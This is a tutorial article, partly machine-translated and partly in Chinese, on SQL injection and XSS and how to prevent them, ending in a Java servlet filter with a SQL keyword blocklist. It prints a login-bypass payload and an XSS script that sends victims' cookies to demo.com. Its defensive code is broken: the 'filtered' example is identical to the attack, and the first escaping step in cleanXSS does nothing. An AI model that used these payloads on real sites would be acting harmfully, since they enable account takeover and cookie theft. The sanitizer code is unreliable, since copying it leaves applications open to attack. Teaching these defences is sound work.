Introduction to SQL Injection
SQL injection vulnerability (SQL Injection) is the most common security issue in web development loopholes. You can use it to obtain sensitive information from the database, or use the characteristics of the database to perform a series of malicious operations such as adding users and exporting files. It is even possible to obtain the highest permissions of the database and even system users.
The reason for SQL injection is that the program does not effectively escape and filter the user's input, allowing the attacker to successfully submit malicious SQL query code to the server. After receiving the program, the attacker's input is mistakenly Executed as part of a query statement, the original query logic is changed and additional malicious code carefully constructed by the attacker is executed.
Many web developers do not realize that SQL queries can be tampered with, and thus treat SQL queries as trusted commands. As everyone knows, SQL queries can bypass access controls, thus bypassing authentication and permission checks. What's more, it's possible to run host system-level commands via SQL queries.
SQL injection principle
The following will explain the principle of SQL injection in detail through some real examples.
Consider the following simple administrator login form:
<form action="/login" method="POST"> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="password" name="password" /></p> <p><input type="submit" value="登陆" /></p> </form>
The back-end SQL statement may be as follows:
let querySQL = ` SELECT * FROM user WHERE username='${username}' AND psw='${password}' `; // 接下来就是执行 sql 语句
The purpose is to verify that the username and password are correct. It stands to reason that there is nothing wrong with the above SQL statement at first glance, and it can indeed achieve our purpose. However, you only look at the problem from the perspective that users will honestly input according to your design. If a malicious attacker enters The username is zhangsan' OR 1 = 1 --, enter the password as you like, and you can log in to the system directly.
Calm down and think about it. The real SQL statement we expected before is:
SELECT * FROM user WHERE username='zhangsan' AND psw='mypassword'
The strange user name of a malicious attacker can change your SQL statement into the following form:
SELECT * FROM user WHERE username='zhangsan' OR 1 = 1 --' AND psw='xxxx'
In SQL, -- means the content after the comment, so the query statement becomes:
SELECT * FROM user WHERE username='zhangsan' OR 1 = 1
The query condition of this SQL statement is always true, so it means that malicious attackers do not need me With the password, you can log in to my account, and then you can do whatever you want in it. However, this is just the simplest injection. An awesome SQL injection master can even run host system-level commands through SQL queries, and insert the files in your host. The content is clear at a glance, and I don’t have the ability to explain it too deeply here. After all, I am not professional in researching this type of attack. However, through the above examples, we have understood the principles of SQL injection, and we can basically find a solution to defend against SQL injection.
Related recommendations: "ThinkPHP Tutorial"
Preventing SQL Injection
Preventing SQL injection mainly does not allow user input The content affects the logic of normal SQL statements. When the information entered by the user will be used to splice SQL statements, we should always choose not to believe it. Any content must be escaped and filtered. Of course, this is not enough. Listed below Several points to note when defending against SQL injection:
1. Strictly limit the operation permissions of the database of the web application and provide the user with the minimum permissions that are sufficient for his or her work, thereby minimizing the impact of injection attacks on the database. harm.
2. The back-end code checks whether the input data meets expectations and strictly limits the types of variables, such as using regular expressions for some matching processing.
3. Escape or encode the special characters that enter the database (', ", \, <, >, &, *,;, etc.). Basically all back-end languages There are methods for escaping strings, such as lodash's lodash._escapehtmlchar library.
4. It is recommended that all query statements use the parameterized query interface provided by the database. Parameterized statements use parameters instead of Embed user input variables into SQL statements, that is, do not directly splice SQL statements. For example, the ? placeholder parameter in the query method of the mysqljs library in Node.js.
mysql.query(`SELECT * FROM user WHERE username = ? AND psw = ?`, [username, psw]);
5. It is recommended to use it before publishing the application Use professional SQL injection detection tools to detect and promptly repair discovered SQL injection vulnerabilities. There are many open source tools on the Internet, such as sqlmap, SQLninja, etc.
6. Avoid websites printing SQL error messages. For example, type errors, field mismatches, etc., expose the SQL statements in the code to prevent attackers from using these error messages for SQL injection.
7. Do not be too detailed in the returned error information. If the purpose is To facilitate debugging, use the back-end log and don’t expose too much error information on the interface. After all, real users don’t care about too many technical details, as long as they speak reasonably.
XSS Attack Introduction
XSS 攻击,即跨站脚本攻击(Cross Site Scripting),它是 web 程序中常见的漏洞。 原理是攻击者往 web 页面里插入恶意的脚本代码(CSS代码、JavaScript代码等),当用户浏览该页面时,嵌入其中的脚本代码会被执行,从而达到恶意攻击用户的目的。如盗取用户cookie,破坏页面结构、重定向到其他网站等。
理论上来说,web 页面中所有可由用户输入的地方,如果没有对输入的数据进行过滤处理的话,都会存在 XSS 漏洞;当然,我们也需要对模板视图中的输出数据进行过滤。
XSS 攻击示例
有一个博客网站,提供了一个 web 页面(内含表单)给所有的用户发表博客,但该博客网站的开发人员并没有对用户提交的表单数据做任何过滤处理。 现在,我是一个攻击者,在该博客网站发表了一篇博客,用于盗取其他用户的cookie信息。博客内容如下:
<b>This is a XSS test!</b> <script> var cookie = document.cookie; window.open("http://demo.com/getCookie.php?param="+cookie); </script>
这是一段 XSS 攻击代码。当其他用户查看我的这篇博客时,他们的 cookie 信息就会被发送至我的 web 站点(http://demo.com/) ,如此,我就盗取了其他用户的 cookie 信息。
预防 XSS 攻击
核心思想
永远不要相信用户的输入,必须对输入的数据作过滤处理。
该函数会把字符串中的特殊字符转化为 HTML 实体,这样在输出时,恶意的代码就无法执行了。这些特殊字符主要是 ’ " & < >。
比如,我刚刚的恶意代码被过滤后,会变为下面的代码:
<b>This is a XSS test!</b> <script> var cookie = document.cookie; window.open("http://demo.com/getCookie.php?param="+cookie); </script>
这样,就可以预防大部分 XSS 攻击了。
服务端代码处理
以springboot为例:
可利用过滤器进行设置,如下所示:
/** * 防止sql注入,xss攻击 * 前端可以对输入信息做预处理,后端也可以做处理。 */ public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { private final Logger log = LoggerFactory.getLogger(getClass()); private static String key = "and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char |declare|;|or|-|+"; private static Set<String> notAllowedKeyWords = new HashSet<String>(0); private static String replacedString="INVALID"; static { String keyStr[] = key.split("\\|"); for (String str : keyStr) { notAllowedKeyWords.add(str); } } private String currentUrl; public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) { super(servletRequest); currentUrl = servletRequest.getRequestURI(); } /**覆盖getParameter方法,将参数名和参数值都做xss过滤。 * 如果需要获得原始的值,则通过super.getParameterValues(name)来获取 * getParameterNames,getParameterValues和getParameterMap也可能需要覆盖 */ @Override public String getParameter(String parameter) { String value = super.getParameter(parameter); if (value == null) { return null; } return cleanXSS(value); } @Override public String[] getParameterValues(String parameter) { String[] values = super.getParameterValues(parameter); if (values == null) { return null; } int count = values.length; String[] encodedValues = new String[count]; for (int i = 0; i < count; i++) { encodedValues[i] = cleanXSS(values[i]); } return encodedValues; } @Override public Map<String, String[]> getParameterMap(){ Map<String, String[]> values=super.getParameterMap(); if (values == null) { return null; } Map<String, String[]> result=new HashMap<>(); for(String key:values.keySet()){ String encodedKey=cleanXSS(key); int count=values.get(key).length; String[] encodedValues = new String[count]; for (int i = 0; i < count; i++){ encodedValues[i]=cleanXSS(values.get(key)[i]); } result.put(encodedKey,encodedValues); } return result; } /** * 覆盖getHeader方法,将参数名和参数值都做xss过滤。 * 如果需要获得原始的值,则通过super.getHeaders(name)来获取 * getHeaderNames 也可能需要覆盖 */ @Override public String getHeader(String name) { String value = super.getHeader(name); if (value == null) { return null; } return cleanXSS(value); } private String cleanXSS(String valueP) { // You'll need to remove the spaces from the html entities below String value = valueP.replaceAll("<", "<").replaceAll(">", ">"); value = value.replaceAll("<", "& lt;").replaceAll(">", "& gt;"); value = value.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41;"); value = value.replaceAll("'", "& #39;"); value = value.replaceAll("eval\\((.*)\\)", ""); value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\""); value = value.replaceAll("script", ""); value = cleanSqlKeyWords(value); return value; } private String cleanSqlKeyWords(String value) { String paramValue = value; for (String keyword : notAllowedKeyWords) { if (paramValue.length() > keyword.length() + 4 && (paramValue.contains(" "+keyword)||paramValue.contains(keyword+" ")||paramValue. contains(" "+keyword+" "))) { paramValue = StringUtils.replace(paramValue, keyword, replacedString); log.error(this.currentUrl + "已被过滤,因为参数中包含不允许sql的关键词(" + keyword + ")"+";参数:"+value+";过滤后的参数:"+paramValue); } } return paramValue; } }
The above is the detailed content of How thinkphp prevents sql injection xss attacks. For more information, please follow other related articles on the PHP Chinese website!